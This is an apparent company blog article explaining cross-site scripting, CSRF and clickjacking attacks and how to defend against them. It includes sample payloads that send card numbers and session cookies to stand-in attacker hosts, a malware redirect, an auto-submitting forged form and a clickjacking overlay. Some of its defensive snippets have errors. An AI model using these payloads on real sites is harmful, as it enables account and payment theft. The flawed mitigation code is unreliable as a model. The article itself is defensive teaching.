Blog>>Software development>>Frontend>>Is your frontend protected from these common attacks?

Is your frontend protected from these common attacks?

Frontend security refers to the practices and technologies used to protect web applications from vulnerabilities and attacks that can compromise your user data, application functionality, and overall integrity. As web applications become more complex and interactive, they become prime targets for malicious actors looking to exploit weaknesses.

Failing to address security can have severe consequences, including data breaches, loss of user trust, financial loss, and legal ramifications. Attacks can expose sensitive user information, disrupt service, and even hijack user sessions.

In this article, we will explore common security threats faced by frontend developers, illustrate how these attacks work, and provide practical strategies to mitigate them. By understanding and implementing robust security measures, developers can safeguard their applications and protect their users from potential threats.

Warning: The code snippets used for demonstration purposes in this article are intended solely for educational purposes. Using such code for malicious intent is illegal and unethical. Always adhere to responsible use of security knowledge and techniques to protect both systems and users' privacy.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a type of attack on web applications where malicious code is injected into the content of a webpage. The attacker's main goal is to execute this code on another user's device. This attack is possible when an application does not properly validate user-entered text for security.

How XSS works

The idea is that when a user has the ability to add content to a page, such as entering a comment, query content, e-mail address, personal data, etc. If the application does not protect itself against the insertion of malicious code instead of harmless text, it can lead to a situation where the page runs the attacker's code. The greatest danger is that this code will be executed on another user's device, which can lead to data theft, account takeover, or system infection with malware.

Here is a working example of how the attack might look in the browser:

  1. Let's say the website displays comments as follows:

    <div class="comments"> <p>Comment: {userComment}</p> </div>
  2. If the input is not sanitized, an attacker might input something like this as their comment:

    1. <script>alert('XSS Attack!');</script>
  3. If the comment is displayed without any sanitization, the browser renders the script tag and executes the JavaScript code. This could look like this in the browser:

    <div class="comments"> <p>Comment: <script>alert('XSS Attack!');</script></p> </div>
  4. The alert will pop up.

Threats associated with XSS

Data Theft

An attacker can capture sensitive information such as login credentials or session information. In this scenario, the user must log in to post a comment. The attacker exploits this by inserting malicious code into the comment field. Once this comment is displayed to another user, the browser will execute the code, sending sensitive data to the specified URL.

<script>
var ccNumber = document.getElementById('cc-number').value;
var expiryDate = document.getElementById('expiry-date').value;
var img = new Image();
img.src = 'https://malicious-site.com/cc-steal?number=' + encodeURIComponent(ccNumber) + '&expiry=' + encodeURIComponent(expiryDate);
</script>

Account Takeover

In an account takeover scenario, an attacker can inject malicious code into a web application to capture and exploit a user's session information. For instance, consider a web application that allows users to update their profile information. An attacker might inject the following JavaScript code into their profile:

<script>
var cookie = document.cookie;
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://attacker-site.com/hijack?cookie=' + encodeURIComponent(cookie), true); xhr.send();
</script>

When another user views the attacker's profile, this script executes in their browser, sending their session cookies to the attacker's server. With these cookies, the attacker can hijack the user's session and gain control over their account, allowing them to perform actions as if they were the legitimate user.

Content Manipulation

Content manipulation attacks involve injecting scripts that modify the displayed content of a webpage to mislead users. For example, in a page that allows users to post reviews, an attacker could post a message containing the following script:

<script>
// Replace positive reviews with negative ones document.querySelectorAll('.review-text').forEach(function(review) {
review.innerText = 'This product is terrible! Do not buy it!';
});
</script>

Malware Distribution

In malware distribution attacks, attackers use XSS scripts to redirect users to malicious websites or force them to download malware. For example, a web application that allows file uploads might have a description field. An attacker could enter a script in this field:

<p>Check out these cool wallpapers!</p>
<a href="https://example.com/wallpapers" id="maliciousLink">Download Now!</a>

<!-- Injected into a blog comment section -->
<script>
  document.getElementById('maliciousLink').addEventListener('click', function() {
    window.location.href = 'https://malicious-site.com/malware-download';
  });
</script>

When other users view the file's description, they are automatically redirected to a site hosting malicious software. If they download and run the software, their devices could be compromised by malware, leading to potential data theft, system damage, or further exploitation.

Solutions

Sanitize inputs

Always sanitize and validate user inputs to ensure that no malicious code is injected. Libraries like DOMPurify      link-icon can be used to clean HTML inputs.

// Using DOMPurify to sanitize user input 
const DOMPurify = require('dompurify');
// or import DOMPurify from 'dompurify';
function sanitizeInput(input) {
	return DOMPurify.sanitize(input);
}
// Example usage 
const userInput = '<script>alert("XSS Attack!");</script>';
const safeInput = sanitizeInput(userInput);
document.getElementById('output').innerHTML = safeInput;
// Safe to use

Avoid using innerHTML directly

Prefer textContent over innerHTML: Using innerHTML to insert user-provided content can be dangerous. Instead, use textContent, which ensures any user input is treated as plain text rather than executable HTML code.

document.getElementById(‘content’).textContent = userInput;

Use a Content Security Policy (CSP)

Implementing a CSP can restrict the sources from which scripts can be loaded, making it harder for malicious code to execute.

<meta
	http-equiv=’Content-Security-Policy’
	content=”default-src ‘self’; img-src https://*; child-src ‘none’:”
/>

HttpOnly Cookies

Setting the HttpOnly flag on cookies prevents them from being accessible via JavaScript. In JavaScript, there's no API available to get/set the HttpOnly attribute of the cookie. Set it as such on the server side using whatever server-side language you use.

Set-Cookie: sessionID=abc123; HttpOnly

Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) is an attack where a malicious website causes a user's browser to perform unwanted actions on another website where the user is authenticated. The CSRF attack exploits the trust that a site has in the user's browser. The main idea is that the user's browser, which has an active session on site A, is tricked into sending a request to site A via a malicious script on site B, leading to unauthorized actions on site A.

CSRF can lead to various dangerous outcomes. Here are some examples:

  • Changing user account settings: The attacker can change the user's email address or password.
  • Unauthorized financial transactions: The attacker can trick the user into making unwanted payments or transfers.
  • Executing administrative actions: The attacker can leverage administrative privileges to create new user accounts, delete data, or change critical system settings.

Attack Example

Imagine site A allows users to change their passwords using a form:

<form action=”https://example.com/change-password” method=”POST”>
	<input type=”hidden” name=”password” value=”NewPassword123!”>
	<input type=”sumbit” value=”Change Password”>
</form>

The attacker creates site B, which includes a hidden form that sends a password change request:

<body>
	<form action=”https://example.com/change-password” method=”POST” style=”display:none;>
		<input type=”hidden” name=”password” value=”NewPassword123!”>
		<input type=”submit”>
	</form>
	<script>
	`	document.forms[0].submit();
	</script>
</body>

When a user (who is logged into site A) visits site B, their browser automatically sends the request to change the password to "newpassword123" because the user has an active session on site A.

Solutions

CSRF Tokens

The most common defense mechanism against CSRF is using CSRF tokens. A CSRF token is a unique, one-time key generated by the server and inserted into forms and requests. The server verifies if the token attached to the request is valid and matches the user session.

<form action=”https://example.com/change-password” method=”POST”>
	<input type=”hidden” name=”csrf_token” value=”unique_csrt_token”>
	<input type=”hidden” name=”password” value=”NewPassword123!”>
	<input type=”submit” value=”Change Password”>
</form>

HTTP Headers

Another solution is to check HTTP headers to ensure that the request originates from a trusted source. For example, you can check the Referer or Origin headers:

const referrer = req.headers[‘referer’];
if(referer?.startsWith(‘https://example.com’)) {
	// comes from a trusted source, process the request
} else {
	// does not come froma a trusted source, reject the request
}

Limiting HTTP Methods

Restrict the use of HTTP methods only to those that are safe, such as GET, POST, PUT, and DELETE. Avoid using methods that can be exploited to perform dangerous operations without additional security.

Clickjacking

Clickjacking is an attack technique where a user is tricked into clicking on something different than they think, leading to unwanted actions. The attacker places a malicious page overlay over a legitimate page, so the user clicks on elements of the malicious page while thinking they are interacting with legitimate elements.

Threat examples

  • Account Takeover
    The user might be tricked into clicking the "Logout", "Delete account", or other critical buttons on a website.
  • Changing Settings
    The user might unknowingly change their privacy settings or other account parameters.
  • Executing Transactions
    The user might be tricked into making unauthorized financial transactions.

Example of attack

Imagine an attacker wants to trick a user into clicking the "Like" button on Facebook:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Clickjacking Attack</title>
    <style>
        .container {
            position: relative;
            width: 300px;
            height: 200px;
        }
        .target {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            border: none;
        }
        .overlay {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.5);
            color: white;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 24px;
            pointer-events: none;
        }
    </style>
</head>
<body>
    <div class="container">
        <iframe src="https://example.com" class="target"></iframe>
        <div class="overlay">Kliknij tutaj!</div>
    </div>
</body>
</html>

In this example, a transparent div with the ID target is placed over an iframe containing Facebook. The user thinks they are clicking on something on the attacker's page, but they are actually clicking on elements on Facebook.

Solutions

HTTP X-Frame-Options Header

  • DENY: Prevents the page from being framed.
  • SAMEORIGIN: Allows the page to be framed only by the same domain.
  • ALLOW-FROM URI: Allows the page to be framed only by a specified URI.
res.setHeader(X-Frame-Options’,DENY);

HTTP Content-Security-Policy (CSP) Header

You can use frame policies to control which sources can frame your site.

res.setHeader(‘Content-Security-Policy’,’frame-ancestors’, ‘self’);

Same Origin Frames

Ensure that embedded frames come from the same domain to minimize risk.

Click Verification

Verify that clicks come from legitimate user interactions (e.g., by checking the origin of click events).

Coding practices and tools for improving security

Linting and Static Code Analysis

Linting and static code analysis are essential tools for ensuring code quality and security. Linters analyze source code for stylistic errors, bugs, and suspicious patterns that could lead to vulnerabilities. They enforce coding standards and best practices, highlighting potential security risks such as improper use of cryptographic functions, unsafe handling of user inputs, or insecure configuration settings. Static code analysis tools perform a deeper examination of code without executing it, identifying complex security issues like code injection, insecure dependencies, or excessive permissions. By integrating these tools into your development process, you can proactively detect and fix security issues before they become serious vulnerabilities.

Security Testing

Security testing encompasses various techniques and methodologies aimed at identifying and mitigating vulnerabilities within an application or system. This includes conducting vulnerability assessments, penetration testing (pen-testing), and security audits to uncover weaknesses in software architecture, configuration, or implementation. Automated security testing tools simulate real-world attacks to assess the resilience of an application against threats such as SQL injection, cross-site scripting (XSS), and unauthorized access attempts. By regularly performing comprehensive security tests throughout the development lifecycle, organizations can validate the effectiveness of their security controls and ensure that potential risks are mitigated before deployment.

OWASP Zap - Widely used open-source web application security scanner: OWASP Zap      link-icon

Nmap - Network scanner used for discovering hosts and services on a computer network: Nmap      link-icon

Dependency Monitoring

Managing dependencies effectively is critical for maintaining the security and integrity of software applications. Dependency monitoring involves tracking libraries, frameworks, and third-party components used within a project to identify vulnerabilities or outdated versions that may pose security risks. Automated dependency scanning tools analyze dependencies against known vulnerabilities databases, providing alerts and recommendations for updating or replacing insecure components. By continuously monitoring dependencies and applying patches promptly, development teams can reduce the risk of exploitation from vulnerabilities introduced through third-party code, ensuring the overall security of their applications remains strong.

CI/CD Pipelines

Continuous Integration and Continuous Delivery (CI/CD) pipelines automate the process of building, testing, and deploying software updates in a streamlined and efficient manner. Integrating security practices into CI/CD pipelines ensures that security checks, such as code analysis, vulnerability scanning, and security testing, are performed automatically at every stage of the pipeline. This approach enables early detection and solution of security issues before they reach production environments, reducing the exposure window for potential threats. By implementing security as code principles within CI/CD pipelines, organizations can achieve faster delivery cycles while maintaining a high standard of security across their software development lifecycle.

Additional Resources

Conclusion

Ensuring the security of frontend web applications is crucial to protecting user data and maintaining trust. By implementing strong security measures such as input validation, secure authentication, and regular security testing, developers can mitigate common vulnerabilities like cross-site scripting (XSS), injection attacks, and clickjacking. Using tools like linters, static code analysis, and automated testing in CI/CD pipelines facilitates early detection and solution of security issues throughout the development lifecycle. It's also important to stay informed about emerging threats and update dependencies promptly to minimize risks. By prioritizing frontend security practices, developers can build resilient applications that safeguard against malicious attacks and ensure a safer online experience for users.

Warning: The code snippets used for demonstration purposes in this article are intended solely for educational purposes. Using such code for malicious intent is illegal and unethical. Always adhere to responsible use of security knowledge and techniques to protect both systems and users' privacy.

Michałowski Bogusz

Bogusz Michałowski

Frontend Engineer

Bogusz Michałowski is a Frontend Engineer and author on CodiLime's blog. Check out the author's articles on the blog.Read about author >

Read also

Get your project estimate

For businesses that need support in their software or network engineering projects, please fill in the form and we’ll get back to you within one business day.

For businesses that need support in their software or network engineering projects, please fill in the form and we’ll get back to you within one business day.

We guarantee 100% privacy.

Trusted by leaders:

Cisco Systems
Palo Alto Services
Equinix
Jupiter Networks
Nutanix